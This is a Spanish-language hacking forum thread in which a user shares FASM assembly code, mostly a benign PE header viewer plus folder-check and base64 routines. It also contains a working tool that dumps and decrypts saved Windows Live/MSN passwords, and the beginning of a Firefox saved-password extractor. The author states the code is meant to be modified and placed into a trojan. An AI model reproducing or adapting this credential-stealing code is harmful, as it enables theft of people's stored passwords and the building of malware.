invoke printf,Espacio
.endif
add ebx,14h
jmp .bucle
pop edi ebx eax
ret
endp
.end start
Actualizado ;D
Ahora estoy haciendo para que ponga las funciones importadas , si alguien tiene alguna idea que se le puede agregar la puede decir.
Muy bueno lo que andas haciendo con este asm, sigue así :)
Cita de: AmeRiK@nO en 6 Abril 2009, 18:53 PM
Muy bueno lo que andas haciendo con este asm, sigue así :)
Muchas gracias :D , en unos minutos pasare el code en limpio.
Ordenando el codigo de a poco.
format pe console
include 'win32ax.inc'
.data
Espacio equ 13,10,0 ;Para pasar a una nueva linea.
RutaArchivo rb MAX_PATH ;Variable para guardar la ruta de el archivo
PunteroPEheader dd ? ; Puntero de el Pe header
Logo db ' ===================================',13,10 ; LOGO PRINCIPAL
db ' = PE visor by YST =',13,10
db ' ===================================',13,10,0
LogoGeneral db ' ===================================',13,10 ; LOGO GENERAL
db ' = General =',13,10
db ' ===================================',13,10,0
LogoSecciones db ' ===================================',13,10
db ' = Secciones =',13,10 ;LOGO DE INFO DE LAS SECCIONES
db ' ===================================',13,10,0
LogoExport db ' ===================================',13,10
db ' = Export data =',13,10 ;LOGO DE INFO DE el Export data
db ' ===================================',13,10,0
FHandle dd ? ; MZ de el archivo
.code
start:
invoke system,"color 3" ;Ponemos el color de texto
invoke printf,Logo ;Imprimimos el logo
invoke printf,Espacio ;Ponemos dos nuevas lineas.
invoke printf,Espacio
invoke printf,"Inserte la ruta de el archivo a examinar:" ; Preguntamos el archivo
invoke printf,Espacio
invoke scanf,"%s",RutaArchivo ;Obtenemos la ruta de el archivo
invoke LoadLibrary,RutaArchivo ;Cargamos el archivo
.if eax = 0 ; Si hay error
invoke printf,"Hubo un error al cargar el archivo." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.else ; De lo contrario
.if word[eax] = "MZ" ; Si los primeros 2 bytes son igual a MZ
mov [FHandle],eax ; Guardamos el MZ en FHandle
.else ; De lo contrario
invoke printf,"Ingrese un archivo valido." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.endif ; Terminamos los if
.endif
add eax,dword[eax+03ch] ; Guardamos en eax la direccion de el PE header
.if word[eax] = "PE" ; Si los primeros 2 bytes son igual a PE
mov [PunteroPEheader],eax ; Guardamos el puntero de el PE header en PunteroPEheader
.else ; De lo contrario
invoke printf,"No se a detectado PE header." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.endif ; Terminamos los if
.endif
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoGeneral ;Imprimimos el logo de la informacion general.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
mov ebx,[FHandle]
mov ebx,dword[ebx+03ch]
invoke printf,"La posicion de el PE header es : 0x%x" ,ebx ;Mostramos la direccion de el PE header
invoke printf,Espacio ; Pasamos a la siguiente linea.
add ebx,[FHandle]; Le sumamos a la posicion de el PE header el MZ para pasar a el puntero de el PE header
invoke printf,"TimeDateStamp: 0x%x " ,dword[ebx+08h] ; Imprimimo el TimeDateStamp
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"SizeOfCode: 0x%x " ,dword[ebx+1ch] ; Imprimimo el SizeOfCode
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"AddressOfEntrPoint: 0x%x " ,dword[ebx+28h] ; Imprimimo el AddressOfEntrPoint
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"ImageBase: 0x%x " ,dword[ebx+34h] ; Imprimimo el ImageBase
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"SizeOfImage: 0x%x " ,dword[ebx+50h] ; Imprimimo el SizeOfImage
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"SizeOfHeaders: 0x%x " ,dword[ebx+54h] ; Imprimimo el SizeOfHeaders
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"CheckSum: 0x%x " ,dword[ebx+58h] ; Imprimimo el CheckSum
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"Subsystem: " ;Imprimimos el Subsystem
.if dword[ebx+5Ch] = 2h ;SI es GUI
invoke printf,"Windows GUI" ; Imprimimos Windows GUI
.else ; De lo contrario es CUI (Consola)
invoke printf,"Windows CUI" ; Imprimimos Windows CUI
.endif ;Terminamos el if
invoke printf,Espacio ; Pasamos a la siguiente linea.
stdcall EOFExtraDataExtract,[FHandle]
invoke printf,"Posicion de el EOF: 0x%x",eax ;Imprimimos la posicion de el EOF
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoSecciones ;Imprimimos el logo de la informacion de las secciones.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
mov esi,[PunteroPEheader] ;Movemos el puntero de el PE Header a esi.
movzx ebx,word[esi+06h] ; Guardamos la cantidad de secciones en ebx.
invoke printf,"Numero de secciones: %d",ebx ;Imprimimos la cantidad de secciones.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
.bucleImprimeSecciones: ; Bucle que imprime secciones
dec ebx ;Les restamos uno a ebx
mov eax,28h ;Hacemos que eax sea igual a $28
mul ebx ;Multiplicamos ebx
add eax,0xf8 ;Le sumamos $F8 ( $F8 = START OF SECTION TABLE )
add eax,esi ;Le agregamos al resultado de la multiplicacion el puntero de el PE header
mov edi,eax ;Guardamos eax en edi
invoke printf,"Name: %s",edi ;Imprimimos el nombre de la sección.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"virtual address: 0x%x",dword[edi+0ch] ;Imprimimos el virtual address
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"VirtualSize: 0x%x",dword[edi+08h] ;Imprimimos el VirtualSize
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"SizeOfRawData: 0x%x",dword[edi+10h] ; Imprimimos el SizeOfRawData
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"pointerToRawData : 0x%x",dword[edi+14h] ;Imprimimos el pointerToRawData
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"Characteristics: 0x%x",dword[edi+24h] ;Imprimimos las Characteristics
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,Espacio ; Pasamos a la siguiente linea
cmp ebx,0
jne .bucleImprimeSecciones ; Si no se an imprimido todas las secciones saltamos a lña etiqueta .bucleImprimeSecciones .
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoExport ;Imprimimos el logo de la informacion de el export data.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
.if dword[esi+078h] = 0 ; Si no hay export data
invoke printf,"No se exporta ninguna funcion."
invoke printf,Espacio ; Pasamos a la siguiente linea.
.else
mov ebx,dword[esi+078h]
add ebx,[FHandle]
invoke printf,"Cantidad de funciones exportadas: %d",dword[ebx+18h] ;Imprimimo la cantidad de funciones exportadas.
invoke printf,Espacio ; Pasamos a la siguiente linea. +
mov edi,dword[ebx+20h] ;AddressOfNames
add edi,[FHandle]
mov ebx,dword[ebx+18h] ;Numero de exports
invoke printf,"Funciones exportadas: "
invoke printf,Espacio
.bucleExportData: ;Bucle para imprimir la export data
dec ebx
mov eax, [edi + ebx * 4]
add eax,[FHandle]
invoke printf,"-%s",eax
invoke printf,Espacio
cmp ebx,0
jne .bucleExportData ;Si no se an imprimido todas seguimos
.endif
invoke system,"pause"
invoke ExitProcess,0
proc EOFExtraDataExtract,FHandle ;Funcion para extraer el EOF
push esi ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h] ;pointerToRawData
pop ebx esi
ret
endp
.end start
section '.reloc' fixups data discardable
Se actualiza el visor pe , ahora listando el import data ;)
format pe console
include 'win32ax.inc'
.data
Espacio equ 13,10,0 ;Para pasar a una nueva linea.
RutaArchivo rb MAX_PATH ;Variable para guardar la ruta de el archivo
PunteroPEheader dd ? ; Puntero de el Pe header
Logo db ' ===================================',13,10 ; LOGO PRINCIPAL
db ' = PE visor by YST =',13,10
db ' ===================================',13,10,0
LogoGeneral db ' ===================================',13,10 ; LOGO GENERAL
db ' = General =',13,10
db ' ===================================',13,10,0
LogoSecciones db ' ===================================',13,10
db ' = Secciones =',13,10 ;LOGO DE INFO DE LAS SECCIONES
db ' ===================================',13,10,0
LogoExport db ' ===================================',13,10
db ' = Export data =',13,10 ;LOGO DE INFO DE el Export data
db ' ===================================',13,10,0
LogoImport db ' ===================================',13,10
db ' = Import data =',13,10 ;LOGO DE INFO DE el import data
db ' ===================================',13,10,0
FHandle dd ? ; MZ de el archivo
.code
start:
invoke system,"color 3" ;Ponemos el color de texto
invoke printf,Logo ;Imprimimos el logo
invoke printf,Espacio ;Ponemos dos nuevas lineas.
invoke printf,Espacio
invoke printf,"Inserte la ruta de el archivo a examinar:" ; Preguntamos el archivo
invoke printf,Espacio
invoke scanf,"%s",RutaArchivo ;Obtenemos la ruta de el archivo
invoke LoadLibrary,RutaArchivo ;Cargamos el archivo
.if eax = 0 ; Si hay error
invoke printf,"Hubo un error al cargar el archivo:" ;Mostramos el error .
invoke printf,RutaArchivo
invoke ExitProcess,0 ; Nos salimos.
.else ; De lo contrario
.if word[eax] = "MZ" ; Si los primeros 2 bytes son igual a MZ
mov [FHandle],eax ; Guardamos el MZ en FHandle
.else ; De lo contrario
invoke printf,"Ingrese un archivo valido." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.endif ; Terminamos los if
.endif
add eax,dword[eax+03ch] ; Guardamos en eax la direccion de el PE header
.if word[eax] = "PE" ; Si los primeros 2 bytes son igual a PE
mov [PunteroPEheader],eax ; Guardamos el puntero de el PE header en PunteroPEheader
.else ; De lo contrario
invoke printf,"No se a detectado PE header." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.endif ; Terminamos los if
.endif
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoGeneral ;Imprimimos el logo de la informacion general.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
mov ebx,[FHandle]
mov ebx,dword[ebx+03ch]
invoke printf,"La posicion de el PE header es : 0x%x" ,ebx ;Mostramos la direccion de el PE header
invoke printf,Espacio ; Pasamos a la siguiente linea.
add ebx,[FHandle]; Le sumamos a la posicion de el PE header el MZ para pasar a el puntero de el PE header
invoke printf,"TimeDateStamp: 0x%x " ,dword[ebx+08h] ; Imprimimo el TimeDateStamp
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"SizeOfCode: 0x%x " ,dword[ebx+1ch] ; Imprimimo el SizeOfCode
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"AddressOfEntrPoint: 0x%x " ,dword[ebx+28h] ; Imprimimo el AddressOfEntrPoint
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"ImageBase: 0x%x " ,dword[ebx+34h] ; Imprimimo el ImageBase
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"SizeOfImage: 0x%x " ,dword[ebx+50h] ; Imprimimo el SizeOfImage
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"SizeOfHeaders: 0x%x " ,dword[ebx+54h] ; Imprimimo el SizeOfHeaders
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"CheckSum: 0x%x " ,dword[ebx+58h] ; Imprimimo el CheckSum
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"Subsystem: " ;Imprimimos el Subsystem
.if dword[ebx+5Ch] = 2h ;SI es GUI
invoke printf,"Windows GUI" ; Imprimimos Windows GUI
.else ; De lo contrario es CUI (Consola)
invoke printf,"Windows CUI" ; Imprimimos Windows CUI
.endif ;Terminamos el if
invoke printf,Espacio ; Pasamos a la siguiente linea.
stdcall EOFExtraDataExtract,[FHandle]
invoke printf,"Posicion de el EOF: 0x%x",eax ;Imprimimos la posicion de el EOF
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoSecciones ;Imprimimos el logo de la informacion de las secciones.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
mov esi,[PunteroPEheader] ;Movemos el puntero de el PE Header a esi.
movzx ebx,word[esi+06h] ; Guardamos la cantidad de secciones en ebx.
invoke printf,"Numero de secciones: %d",ebx ;Imprimimos la cantidad de secciones.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
.bucleImprimeSecciones: ; Bucle que imprime secciones
dec ebx ;Les restamos uno a ebx
mov eax,28h ;Hacemos que eax sea igual a $28
mul ebx ;Multiplicamos ebx
add eax,0xf8 ;Le sumamos $F8 ( $F8 = START OF SECTION TABLE )
add eax,esi ;Le agregamos al resultado de la multiplicacion el puntero de el PE header
mov edi,eax ;Guardamos eax en edi
invoke printf,"Name: %s",edi ;Imprimimos el nombre de la sección.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"virtual address: 0x%x",dword[edi+0ch] ;Imprimimos el virtual address
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"VirtualSize: 0x%x",dword[edi+08h] ;Imprimimos el VirtualSize
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"SizeOfRawData: 0x%x",dword[edi+10h] ; Imprimimos el SizeOfRawData
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"pointerToRawData : 0x%x",dword[edi+14h] ;Imprimimos el pointerToRawData
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"Characteristics: 0x%x",dword[edi+24h] ;Imprimimos las Characteristics
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,Espacio ; Pasamos a la siguiente linea
cmp ebx,0
jne .bucleImprimeSecciones ; Si no se an imprimido todas las secciones saltamos a lña etiqueta .bucleImprimeSecciones .
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoExport ;Imprimimos el logo de la informacion de el export data.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
.if dword[esi+078h] = 0 ; Si no hay export data
invoke printf,"[+]No se exporta ninguna funcion."
invoke printf,Espacio ; Pasamos a la siguiente linea.
.else
mov ebx,dword[esi+078h]
add ebx,[FHandle]
invoke printf,"Cantidad de funciones exportadas: %d",dword[ebx+18h] ;Imprimimo la cantidad de funciones exportadas.
invoke printf,Espacio ; Pasamos a la siguiente linea. +
mov edi,dword[ebx+20h] ;AddressOfNames
add edi,[FHandle]
mov ebx,dword[ebx+18h] ;Numero de exports
invoke printf,"Funciones exportadas: "
invoke printf,Espacio
.bucleExportData: ;Bucle para imprimir la export data
dec ebx
mov eax, [edi + ebx * 4]
add eax,[FHandle]
invoke printf,"[+]%s",eax
invoke printf,Espacio
cmp ebx,0
jne .bucleExportData ;Si no se an imprimido todas seguimos
.endif
invoke printf,LogoImport
invoke printf,Espacio
invoke printf,Espacio
mov eax,[PunteroPEheader]
.if dword[eax+80h] = NULL ;Si no importamos ninguna funcion.
invoke printf,"[+]No importa ninguna funcion."
.else;De lo contrario
stdcall Sacaimport,[FHandle]
.endif
invoke system,"pause"
invoke ExitProcess,0
proc EOFExtraDataExtract,FHandle ;Funcion para extraer el EOF
push esi ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h] ;pointerToRawData
pop ebx esi
ret
endp
proc Sacaimport ,handle
locals
Export dd ?
endl
pushad
mov eax,[handle]
mov ebx,dword[eax+03ch]
add ebx,eax
mov ebx,dword[ebx+80h]
add ebx,eax
mov [Export],ebx
.buclelib:
mov ebx,[Export]
mov edi,dword[ebx+0ch]
cmp edi,0
je .salir
add edi,[handle]
invoke printf,"- Funciones de %s: ",edi
invoke printf,"%s",Espacio
xor esi,esi
mov esi,dword[ebx]
add esi,[handle]
mov edi,esi
xor ebx,ebx
.bucleapi:
xor esi,esi
mov esi,dword[edi+ebx]
cmp esi,0
je .otralib
add esi,[handle]
add esi,2h
invoke printf," [*]%s",esi
invoke printf,"%s",Espacio
add ebx,04h
jmp .bucleapi
.otralib:
add [Export] ,14h
jmp .buclelib
.salir:
popad
ret
endp
.end start
section '.reloc' fixups data discardable
Muy bueno, si señor, será muy util este code. Gracias por el aporte ;-).
salu2
Cita de: AmeRiK@nO en 22 Abril 2009, 08:07
Muy bueno, si señor, será muy util este code. Gracias por el aporte ;-).
salu2
jeje gracias, lo que le quiero agregar ahora es que genere logs en html , yo creo que para unas semanas mas lo tengo generando logs en html :D .
Cita de: YST en 22 Abril 2009, 08:16 AM
Cita de: AmeRiK@nO en 22 Abril 2009, 08:07 AM
Muy bueno, si señor, será muy util este code. Gracias por el aporte ;-).
salu2
jeje gracias, lo que le quiero agregar ahora es que genere logs en html , yo creo que para unas semanas mas lo tengo generando logs en html :D .
Pues adelante, ademas no creo que sea tan dificil ;)
Cita de: AmeRiK@nO en 22 Abril 2009, 08:26
Cita de: YST en 22 Abril 2009, 08:16
Cita de: AmeRiK@nO en 22 Abril 2009, 08:07Muy bueno, si señor, será muy util este code. Gracias por el aporte ;-).
salu2
jeje gracias, lo que le quiero agregar ahora es que genere logs en html , yo creo que para unas semanas mas lo tengo generando logs en html :D .
Pues adelante, ademas no creo que sea tan dificil ;)
Dificil no es , lo que si es es largo :xD.
buen code, para la proxima que sera? un editor de recurso? jeje ;D
Saludos
Cita de: Arcangel_0x7C5 en 23 Abril 2009, 01:53
buen code, para la proxima que sera? un editor de recurso? jeje ;D
Saludos
Ahora le estoy agregando aparte antes de hacer lo de los logs , algo que liste algunas cosas de el resource.
No estaria mal hacer un editor de resource , tal vez lo haga en un tiempo mas , pero ahora me quiero dedicar a un proyecto que en un rato mas voy a publicar para ver si alguien me ayuda.
include 'win32ax.inc'
.code
start:
stdcall CapetaVaciaOUnidad,"F:"
.if eax = TRUE
invoke MessageBox,0,"La carpeta esta vacia",0,0
.else
invoke MessageBox,0,"La carpeta no esta vacia",0,0
.endif
invoke ExitProcess,0
proc CapetaVaciaOUnidad,ruta
locals
Find WIN32_FIND_DATA ?
HandleBusqueda dd ?
Ruta dd ?
endl
push ebx
invoke GlobalAlloc,GPTR,MAX_PATH+1
mov [Ruta],eax
stdcall Concat,[ruta],"\*", [Ruta]
invoke FindFirstFile,[Ruta] , addr Find
mov [HandleBusqueda],eax
invoke FindNextFile ,eax, addr Find
invoke lstrcpy,[Ruta],addr Find.cFileName
mov ebx,[Ruta]
.if word[ebx] = ".."
invoke FindNextFile, [HandleBusqueda], addr Find
.endif
invoke lstrcpy,[Ruta],addr Find.cFileName
mov ebx,[Ruta]
.if word[ebx] = ".."
invoke GlobalFree,[Ruta]
mov eax,TRUE
.else
.if dword[ebx] = "RECY"
.if dword[ebx+4] = "CLER"
invoke GlobalFree,[Ruta]
mov eax,TRUE
.endif
.else
invoke GlobalFree,[Ruta]
mov eax,FALSE
.endif
.endif
.endif
pop ebx
ret
endp
proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
mov esi,[@AdrSrc1]
mov edi,[@AdrDest]
.concat_src1:
movsb
cmp byte[esi],0
jne .concat_src1
mov esi,[@AdrSrc2]
.concat_src2:
movsb
cmp byte[esi],0
jne .concat_src2
movsb
ret
endp
.end start
Private Declare Function PathIsDirectoryEmpty Lib "shlwapi.dll" Alias "PathIsDirectoryEmptyA" (ByVal pszPath As String) As Long
Ya existe una API que hace eso :P
Ahora que veo el post de el source que traduci , Leandro puse esa api :xD :xD :xD :xD , nunca hay que traducir un codigo a las 2:30 am por lo visto :xD.
Edit:
Ahora mi source supera a la api ::) ya que en unidades exxtraibles ( probado en XP ) , aunque esta estubiera vacia la api me la detectaba como que no lo estaba , al igual que mi primer source ;D
Esto no comprueba si una Unidad esta vacia, solo lo hace con Carpetas :P
Espacio equ 13,10
format pe console
include 'win32ax.inc'
entry start
.data
Logo db ' =====================================================',13,10
db ' = Humilde Visor de claves de el msn 0.1v by YST =',13,10
db ' =====================================================',13,10,0
lCount dd ?
lCred dd ?
struct DATA_BLOB
cbData dd ?
pbData dd ?
ends
tBlobOut DATA_BLOB
tBlobIn DATA_BLOB
lmem dd ?
acento rb 3
.code
start:
invoke system,"color 03"
invoke printf,Logo
invoke printf,Espacio
invoke printf,Espacio
invoke CredEnumerate,"WindowsLive:name=*", 0, lCount,lCred
.if [lCount] = 0
invoke printf,"%s","Ninguna cuenta encontrada."
jmp salir
.else
mov ebx, [lCred]
.bucle:
dec [lCount]
mov eax, dword[ebx]
mov edi,dword[eax+8]
mov edx,dword[eax+24]
mov esi,dword[eax+28]
mov [tBlobIn.cbData],edx
mov [tBlobIn.pbData] ,esi
invoke CryptUnprotectData,tBlobIn, $0, $0, $0, $0, $1, tBlobOut
.if [tBlobIn.cbData] = 0
mov eax, dword[ebx]
mov eax,dword[eax+48]
invoke printf,"Mail: %s",eax
invoke printf,Espacio
invoke printf,Espacio
.else
invoke LocalAlloc,GPTR,[tBlobIn.cbData];
mov [lmem],eax
stdcall UniToAscii ,[lmem], [tBlobIn.pbData]
invoke printf,"%s","Mail: "
mov eax, dword[ebx]
mov eax,dword[eax+48]
invoke printf,"%s",eax
invoke printf,Espacio
invoke CharToOem,"ñ",acento
invoke printf,"Contrase"
invoke printf ,"%s",acento
invoke printf, "a: %s",[lmem]
invoke printf,Espacio
invoke printf,Espacio
invoke LocalFree,[lmem]
.endif
.if [lCount] = 0
.else
add ebx,4
jmp .bucle
.endif
.endif
salir:
invoke ExitProcess,0
proc UniToAscii, ascii, unicode
push esi
push edi
mov esi, [unicode]
mov edi, [ascii]
.count:
.if byte[esi] <> 0
movsb
jmp .count
.endif
inc esi
.if byte[esi] = 0
jmp .exit
.endif
jmp .count
.exit:
mov eax, edi
add eax, 2
pop edi
pop esi
ret
endp
section '.idata' import data readable writeable
library kernel32,'kernel32.dll',crypt32,"crypt32.dll",user32,'user32.dll',advapi32,'advapi32.dll',msvcrt,'msvcrt.dll'
include 'api/kernel32.inc'
import crypt32,CryptUnprotectData,"CryptUnprotectData"
import advapi32,\
CredEnumerate,'CredEnumerateA'
include 'api/user32.inc'
import msvcrt,printf,"printf",system,"system"
section '.reloc' fixups data discardable
menos mal que la mayoría no entienden asm
Saludos y buen code
Hola , tengo un source que cifra y descifra en base64 yo no soy el autor y no se quien es ni la fuente , pero yo siempre eh creido que si uno tiene algo que le puede servir a alguien mas es mejor publicarlo que no publicarlo por falta de fuente y autor .
include 'win32ax.inc'
.data
base64table db 43 dup (255)
db 62,255,255,255,63,52,53,54,55,56,57,58,59,60,61,255
db 255,255,0,255,255,255,0,1,2,3,4,5,6,7,8,9,10,11,12,13
db 14,15,16,17,18,19,20,21,22,23,24,25,255,255,255,255
db 255,255,26,27,28,29,30,31,32,33,34,35,36,37,38
db 39,40,41,42,43,44,45,46,47,48,49,50,51
db 132 dup (255)
alphabet db "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
clave rb 255
descifrada rb 255
.code
start:
invoke lstrlen,"WHKEsGay :O"
stdcall base64encode,"WHKEsGay :O",clave,eax
invoke MessageBox,0,clave,clave,0
invoke lstrlen,clave
stdcall base64decode,clave,descifrada,eax
invoke MessageBox,0,descifrada,descifrada,0
invoke ExitProcess,0
proc base64encode source, destination, sourcelen
push edi
push esi
push ebx
mov esi, [source]
mov edi, [destination]
@@base64loop:
.if [sourcelen] = 1
mov al, byte[esi]
and eax, 0FFh
mov ecx, 2 ;bytes to output = 2
mov edx, 03D3Dh ;padding = 2 byte
inc esi ;source ptr + 1
dec [sourcelen] ;length - 1
.elseif [sourcelen] = 2
mov ax, word[esi]
and eax, 0FFFFh
mov ecx, 3 ;bytes to output = 3
mov edx, 03Dh ;padding = 1 byte
add esi, 2 ;source ptr + 2
sub [sourcelen], 2 ;length - 2
.else
mov eax, dword [esi]
and eax, 0FFFFFFh
mov ecx, 4 ;bytes to output = 4
xor edx, edx ;padding = 0 byte
add esi, 3 ;source ptr + 3
sub [sourcelen], 3 ;length - 3
.endif
xchg al,ah ; flip eax completely
rol eax, 16 ; can this be done faster
xchg al,ah ; ??
@@:
push eax
and eax, 0FC000000h ;get the last 6 high bits
rol eax, 6 ;rotate them into al
mov al, byte[alphabet+eax] ;get encode character
stosb ;write to destination
pop eax
shl eax, 6 ;shift right 6 bits
dec ecx
jnz @B ;loop
cmp [sourcelen], 0
jnz @@base64loop ;main loop
mov eax, edx ;add padding and null terminate
stosd ; " " " " "
pop ebx
pop esi
pop edi
ret
endp
proc base64decode source:DWORD, destination:DWORD, sourcelen:DWORD
push esi
push edi
push ebx
mov esi, [source] ; esi <- source
mov edi, [destination] ; edi <- destination
mov ecx, [sourcelen]
shr ecx, 2
cld
;-------------[decoding part]---------------
@@outer_loop:
push ecx
mov ecx, 4
xor ebx, ebx
lodsd
@@inner_loop:
push eax
and eax, 0ffh
mov al, byte[base64table+eax]
cmp al, 255
je @@invalid_char
shl ebx, 6
or bl, al
pop eax
shr eax, 8
dec ecx
jnz @@inner_loop
mov eax, ebx
shl eax, 8
xchg ah, al
ror eax, 16
xchg ah, al
stosd
dec edi
pop ecx
dec ecx
jnz @@outer_loop
xor eax, eax
jmp @@decode_done
;-------------------------------------------
@@invalid_char:
mov eax, -1
@@decode_done:
pop ebx
pop edi
pop esi
ret
endp
.end start
Cita de: Arcangel_0x7C5 en 30 Abril 2009, 03:18 AM
menos mal que la mayoría no entienden asm
Saludos y buen code
si uno quisiera hacerlo.. se buscaria un soft como los que hai en una recopilacion
y no necesita saber asm :P
si me pasas el .exe lo pruebo en 8.1 , nunca use ni 8.5 ni la version 9
lo compilaria yo , pero no tengo fasm ni ningun compilador asm
no se asm :P
un saludo
por cierto..
Humilde Visor de calves
claves :P
La idea no es que lo uses tal cual esta ,la idea es modificarlo para ponerselo a algún troyano o algo a si .
Citarsi me pasas el .exe lo pruebo en 8.1 , nunca use ni 8.5 ni la version 9
No , muchas gracias , este deberia andar en todos los live sin problemas.
Citarpero no tengo fasm ni ningun compilador asm
ASM no tiene compiladores si no ensambladores.
CitarHumilde Visor de calves
claves
Corregido ;)
Voy a probarlo y te digo, me servira para mi aprendizaje en ASM :).
A Ensamblaaar!
EDIT: Buenisimo, me ha sacado las dos claves que tenia guardadas.. ;)
Despues de un dia entero trbaajando en el source para traducirlo lo logre , el codigo lo engo que optimisar todavia ya que tiene muchas partes inecesarias.
format pe console
entry start
include 'win32ax.inc'
sPath equ dword[ebx+4]
Espacio equ 13,10
.data
struct TSECItem
SECItemType dd ?
SECItemData dd ?
SECItemLen dd ?
ends
url dd ?
valor dd ?
lvLibs0 dd ?
Logo db ' =====================================================',13,10
db ' = Humilde Visor de claves de el Firefox 0.1v by YST =',13,10
db ' =====================================================',13,10,0
URL dd ?
Campo dd ?
tsec TSECItem
tSecDec TSECItem
lvLibs7 dd ?
lKeySlot dd ?
P dd ?
bUsados dd ?
hFile dd ?
tamAr dd ?
IB dd ?
sFFPath rb MAX_PATH+1
sRet rb 260
sRet2 rb 260
comp dd ?
.code
start:
invoke system,"color 03"
invoke printf,"%s",Logo
invoke SHGetSpecialFolderLocation,0,26h,ebx
invoke LocalAlloc,40h,MAX_PATH+1
mov dword[ebx+4] ,eax
invoke SHGetPathFromIDList,dword[ebx],sPath
invoke lstrcat,sPath,"\Mozilla Firefox\"
stdcall Cargar,dword[ebx+4],"mozcrt19.dll"
stdcall Cargar,dword[ebx+4],"sqlite3.dll"
stdcall Cargar,dword[ebx+4],"nspr4.dll"
stdcall Cargar,dword[ebx+4],"plc4.dll"
stdcall Cargar,dword[ebx+4],"plds4.dll"
stdcall Cargar,dword[ebx+4],"nssutil3.dll"
stdcall Cargar,dword[ebx+4],"softokn3.dll"
stdcall Cargar,dword[ebx+4],"softokn3.dll"
;"nss3.dll"
invoke LocalAlloc,40h,MAX_PATH+1
mov [P],eax
stdcall Concat,sPath, "nss3.dll",eax
invoke LoadLibrary,[P]
mov [lvLibs7],eax
invoke LocalFree,[P]
;1A
invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sFFPath
invoke lstrcat,sFFPath,"\Mozilla\Firefox\profiles.ini"
invoke GetPrivateProfileString,"Profile0", "Path", 0, sRet, 260, sFFPath
stdcall Zerar,sFFPath,MAX_PATH
invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sFFPath
invoke lstrcat,sFFPath,"\Mozilla\Firefox\"
invoke lstrcat,sFFPath,sRet
invoke lstrcat,sFFPath,"\signons3.txt"
